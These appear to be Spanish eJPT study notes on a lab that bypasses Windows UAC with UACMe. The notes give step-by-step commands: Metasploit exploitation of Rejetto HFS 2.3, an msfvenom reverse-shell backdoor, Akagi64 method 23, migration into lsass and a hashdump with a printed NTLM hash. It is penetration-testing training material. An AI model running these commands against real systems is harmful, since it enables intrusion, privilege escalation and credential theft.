> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/ejpt-notes/pruebas-de-penetracion-de-host-y-red/ataques-basados-en-sistema-host/windows/escalada-de-privilegios-en-windows/omitir-el-uac-con-uacme.md).

# Omitir el UAC con UACme

### 🛡️ UAC (User Account Control)

**User Account Control (UAC)** es una característica de seguridad de Windows introducida en **Windows Vista** con el objetivo de prevenir que se realicen cambios no autorizados en el sistema operativo.

***

#### 📌 ¿Qué hace UAC?

* **Restringe la ejecución de acciones elevadas** (como instalar software o modificar configuraciones del sistema) sin confirmación del usuario.
* **Usuarios sin privilegios administrativos** reciben una **ventana de credenciales**.
* **Usuarios con privilegios administrativos** reciben una **ventana de consentimiento**.
* Esto añade una capa adicional de defensa contra malware que intente ejecutarse con privilegios elevados sin el consentimiento del usuario.

***

### ⚔️ Bypass de UAC

#### 🎯 Requisitos

Para poder omitir UAC exitosamente:

* Se necesita acceso a una cuenta que sea **miembro del grupo de administradores locales**.
* El nivel de UAC no debe estar configurado en el modo más estricto ("siempre notificar").

#### 🧱 Integridad de UAC

UAC opera con **niveles de integridad**:

| Nivel de Integridad | Descripción                                     |
| ------------------- | ----------------------------------------------- |
| Bajo                | Navegadores web o procesos con menor privilegio |
| Medio               | Usuario estándar con permisos limitados         |
| Alto                | Procesos administrativos                        |
| Sistema             | Kernel y servicios del sistema operativo        |

Si el UAC está configurado en un nivel **inferior al alto**, algunos programas con la marca **AutoElevate** pueden ejecutarse sin aviso.

***

### 🚀 Herramientas y técnicas de bypass

#### 🔧 **UACMe**

* **UACMe** es una herramienta open source creada por [@hfire0x](https://github.com/hfiref0x/UACME).
* Permite **bypassear UAC en versiones de Windows** desde 7 hasta 11 mediante la explotación de técnicas y binarios con autoelevación (AutoElevate).

**🔗 GitHub:**

👉 <https://github.com/hfiref0x/UACME>

#### 📌 ¿Qué hace?

* Explota binarios firmados por Microsoft que tienen la bandera **AutoElevate**.
* Usa más de **60 métodos documentados** para realizar bypass de UAC.
* Permite ejecutar payloads con privilegios elevados sin notificación de UAC.

***

### 🧪 Laboratorio Práctico

**Paso 1:** Abra el enlace del laboratorio para acceder a la máquina Kali.

<figure><img src="/files/CNIw3AN8PN7ANblhVAhy" alt=""><figcaption></figcaption></figure>

**Paso 2:** Verifique si la máquina de destino es accesible:

**Dominio:**

```
ping -c 4 demo.ine.local
```

<figure><img src="/files/fxOmHGhjcyJmEOhdwhgY" alt=""><figcaption></figcaption></figure>

El objetivo es alcanzable.

**Paso 3:** Verifique los puertos abiertos en la máquina de destino:

**Dominio:**

```
nmap demo.ine.local
```

<figure><img src="/files/9gvVM7lIkMQBrKB3EkDa" alt=""><figcaption></figcaption></figure>

**Paso 4:** Hemos detectado que varios puertos están abiertos. Ejecutaremos Nmap de nuevo para determinar la versión del puerto 80.

**Dominio:**

```
nmap -sV -p 80 demo.ine.local
```

<figure><img src="/files/wyJ34WdU79DlcfaR0ouN" alt=""><figcaption></figcaption></figure>

El servidor de archivos HTTP (HFS) 2.3 está disponible.

**Paso 5:** Buscaremos un exploit para el servidor de archivos hfs usando searchsploit.

**Dominio:**

```
searchsploit hfs
```

<figure><img src="/files/DmrfbHmsGMT24zk2htl3" alt=""><figcaption></figcaption></figure>

**Paso 6:** El servidor de archivos HTTP Rejetto (HFS) 2.3 es vulnerable a ataques RCE. Se está explotando el servidor objetivo mediante Metasploit.

**Comandos:**

```
msfconsole -q
use exploit/windows/http/rejetto_hfs_exec
set RHOSTS demo.ine.local
exploit
```

<figure><img src="/files/6513HBE6rot3c5wKG70Q" alt=""><figcaption></figcaption></figure>

Hemos explotado con éxito la aplicación vulnerable de destino (hfs) y recibimos un shell meterpreter.

**Paso 7:** Verificar el usuario actual.

**Comandos:**

```
getuid
sysinfo
```

<figure><img src="/files/lRgpW2kV5lZXvJdZTXDl" alt=""><figcaption></figcaption></figure>

**Paso 8:** Observamos que estamos ejecutando el programa como administrador. Migre el proceso en explorer.exe. Primero, busque el PID de explorer.exe y use el comando migrar para migrar el proceso actual al proceso de explorer.exe.

**Comandos:**

```
ps -S explorer.exe
migrate 2332
```

<figure><img src="/files/KpCL5qE586t7pH0p44O3" alt=""><figcaption></figcaption></figure>

**Paso 9:** Elevar al alto privilegio:

**Dominio** :

```
getsystem
```

<figure><img src="/files/ZoTZF2ZiJpj7wQzxHeSF" alt=""><figcaption></figcaption></figure>

Podemos observar que no tenemos permiso para elevar privilegios.

**Paso 10:** Obtenga un shell de Windows y verifique si el usuario admin es miembro del grupo Administradores.

**Comandos:**

```
shell
net localgroup administrators
```

<figure><img src="/files/fqyd5Pdc4WjfHYWc9qFj" alt=""><figcaption></figcaption></figure>

El usuario admin es miembro del grupo Administradores. Sin embargo, por ahora no tenemos privilegios altos. Podemos obtenerlos omitiendo el Control de Cuentas de Usuario (UAC).

Vamos a omitir el UAC para el usuario administrator con la ayuda de la herramienta UACMe.

**Paso 11:** Generar un ejecutable malicioso usando msfvenom y ejecutarlo en la máquina de destino para obtener privilegios de usuario administrador.

**Nota:** asegúrese de reemplazar la dirección IP local “10.10.31.2” con la suya.

Generando ejecutable malicioso usando msfvenom.

**Comandos:**

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.31.2 LPORT=4444 -f exe > 'backdoor.exe'

file backdoor.exe
```

<figure><img src="/files/F7ZSoepY6SyyAaxJp2iQ" alt=""><figcaption></figcaption></figure>

La herramienta UACMe se encuentra en el directorio **"/root/Desktop/tools/UACME/"** .

**Paso 12:** Cambie el directorio a la carpeta temporal del usuario y cargue el ejecutable Akagi64.exe y backdoor.exe.

**Comandos:**

```
CTRL + C
cd C:\\Users\\admin\\AppData\\Local\\Temp
upload /root/Desktop/tools/UACME/Akagi64.exe .
upload /root/backdoor.exe .
ls
```

<figure><img src="/files/Red3dNDYV78BghEV7rL2" alt=""><figcaption></figcaption></figure>

**Paso 13:** Inicie otra msfconsole y ejecute un controlador múltiple.

**Comandos:**

```
msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.10.31.2
set LPORT 4444
exploit
```

<figure><img src="/files/S4WELEXAfaMBalV8RolQ" alt=""><figcaption></figcaption></figure>

**Paso 14:** Regrese al meterpreter y ejecute el ejecutable Akagi64.exe.

**Nota:** proporcione la ruta completa del ejecutable de la puerta trasera.

**Comandos:**

```
shell
Akagi64.exe 23 C:\Users\admin\AppData\Local\Temp\backdoor.exe
```

Vamos a utilizar el método UACMe número 23:

* **Autor:** Leo Davidson derivado
* **Tipo:** Secuestro de DLL
* **Método:** IFileOperation
* **Destino(s):** \system32\pkgmgr.exe
* **Componente(s):** DismCore.dll
* **Implementación:** ucmDismMethod

<figure><img src="/files/6i8GDBAnoXn95enmqcWv" alt=""><figcaption></figcaption></figure>

Una vez que ejecutamos el comando anterior esperaríamos una sesión de meterpreter.

<figure><img src="/files/4FMGTMMgqpYmAoB2ypCV" alt=""><figcaption></figcaption></figure>

Hemos obtenido acceso con privilegios elevados. Elimine los hashes de usuario.

**Paso 15:** Migrar en el proceso lsass.exe.

**Comandos:**

```
ps -S lsass.exe
migrate 496
```

<figure><img src="/files/l673F84iO0ORBIdVVB0w" alt=""><figcaption></figcaption></figure>

**Paso 16:** Deshazte de los hashes.

**Dominio:**

```
hashdump
```

<figure><img src="/files/XdqU4J9GhvIuyHWAruNL" alt=""><figcaption></figcaption></figure>

Esto nos revela la bandera.

**Hash NTLM del administrador:** 4d6583ed4cef81c2f2ac3c88fc5f3da6

#### Conclusión

En este laboratorio, explotamos una aplicación vulnerable para obtener acceso al shell en la máquina de destino y luego evitamos el UAC usando la herramienta UACME para obtener acceso elevado y volcar los hashes del usuario.
